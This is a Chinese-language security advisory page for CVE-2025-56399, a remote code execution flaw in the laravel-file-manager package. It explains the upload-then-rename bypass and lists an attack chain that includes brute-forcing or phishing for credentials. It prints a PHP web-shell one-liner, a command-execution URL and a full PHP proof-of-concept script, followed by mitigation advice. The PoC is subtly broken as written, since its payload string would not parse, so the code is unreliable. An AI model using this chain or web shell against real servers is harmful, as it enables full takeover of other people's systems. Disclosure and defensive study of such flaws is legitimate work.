IPBUF安全漏洞报告
English
CVE-2025-56399 CVSS 8.8 高危

CVE-2025-56399: alexusmai laravel-file-manager远程代码执行漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-56399
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
alexusmai laravel-file-manager

相关标签

远程代码执行文件上传绕过laravel-file-managerCVE-2025-56399RCEPHPLaravel身份验证绕过

漏洞概述

CVE-2025-56399是laravel-file-manager组件中的一个高危远程代码执行漏洞,CVSS评分8.8。该漏洞影响3.3.1及之前版本,允许经过身份认证的低权限攻击者通过精心构造的文件上传实现服务器端代码执行。漏洞根源在于文件上传验证机制存在缺陷,攻击者可上传包含PHP代码的.png文件绕过客户端验证,文件会被服务器保存。随后攻击者利用重命名API将文件扩展名从.png改为.php,当通过公开URL访问该文件时,服务器会将其作为PHP脚本执行,从而实现远程代码执行。攻击成功后,攻击者可在服务器上执行任意系统命令,完全控制应用服务器,对系统机密性、完整性和可用性造成严重影响。此类RCE漏洞危害极大,建议尽快升级到最新版本或采取临时缓解措施。

技术细节

该漏洞的技术核心在于文件上传验证与存储逻辑的缺陷。在laravel-file-manager的文件上传功能中,系统对上传文件进行了客户端验证,但验证逻辑存在漏洞。具体表现为:当上传带有.php代码的.png文件时,客户端验证会显示上传失败,但服务器端实际上已经将文件保存到了指定目录。这是因为验证逻辑在检测到文件扩展名为.png时进行了某些检查,但并未阻止文件的实际写入操作。攻击流程如下:1) 攻击者首先上传包含PHP代码的.png文件(如:<?php system($_GET['cmd']); ?>),此时客户端显示验证失败但文件已保存;2) 攻击者调用重命名API将文件扩展名从.png改为.php;3) 攻击者通过Web访问该.php文件路径,服务器将文件作为PHP脚本解析执行;4) 攻击者可通过URL参数传递系统命令实现远程代码执行。由于攻击需要认证身份,但只需低权限账户即可,因此该漏洞具有较高的实际利用价值。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者获取laravel-file-manager的低权限账户凭据,可通过默认口令、暴力破解或社工等方式获取
STEP 2
步骤2:上传恶意PNG文件
使用文件上传功能上传包含PHP代码的.png文件,如:<?php system($_GET['cmd']); ?>,此时客户端验证会显示失败但文件实际已保存到服务器
STEP 3
步骤3:重命名文件扩展名
通过文件管理器的重命名API,将上传的shell.png文件扩展名改为.php,绕过文件类型检查
STEP 4
步骤4:触发代码执行
通过Web访问该.php文件的公开URL路径,服务器将文件作为PHP脚本解析执行
STEP 5
步骤5:远程命令执行
通过URL参数传递系统命令实现RCE,如:/uploads/shell.php?cmd=whoami,完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // CVE-2025-56399 PoC - alexusmai laravel-file-manager RCE // Requirements: Valid authentication with low privileges $target = "http://target.com/laravel-file-manager"; $username = "attacker"; $password = "password"; // Step 1: Upload malicious PNG file with PHP code $pngContent = "\x89PNG\r\n\x1a\n" . "<?php system($_GET['cmd']); ?>"; $uploadUrl = $target . "/upload"; $ch = curl_init($uploadUrl); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'upload' => ['name' => 'shell.png', 'content' => $pngContent] ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $uploadResponse = curl_exec($ch); // Step 2: Rename file from .png to .php via API $fileName = 'shell.png'; // Get actual filename from response $renameUrl = $target . "/rename"; $renameData = json_encode([ 'old' => $fileName, 'new' => 'shell.php' ]); curl_setopt($ch, CURLOPT_URL, $renameUrl); curl_setopt($ch, CURLOPT_POSTFIELDS, $renameData); $renameResponse = curl_exec($ch); // Step 3: Execute commands via the .php file $execUrl = $target . "/uploads/shell.php?cmd=whoami"; $execResponse = curl_exec($ch); echo "Command output: " . $execResponse; curl_close($ch); ?>

影响范围

alexusmai/laravel-file-manager <= 3.3.1

防御指南

临时缓解措施
临时缓解措施:在Web服务器配置中禁止上传目录的PHP脚本执行(如在nginx中配置location ~* /uploads/ { deny all; }),或在.htaccess中设置php_flag engine off。同时限制文件重命名API的权限,确保普通用户无法修改文件扩展名。建议在生产环境中将文件上传到独立的非Web访问目录,并通过应用程序的安全接口提供文件访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表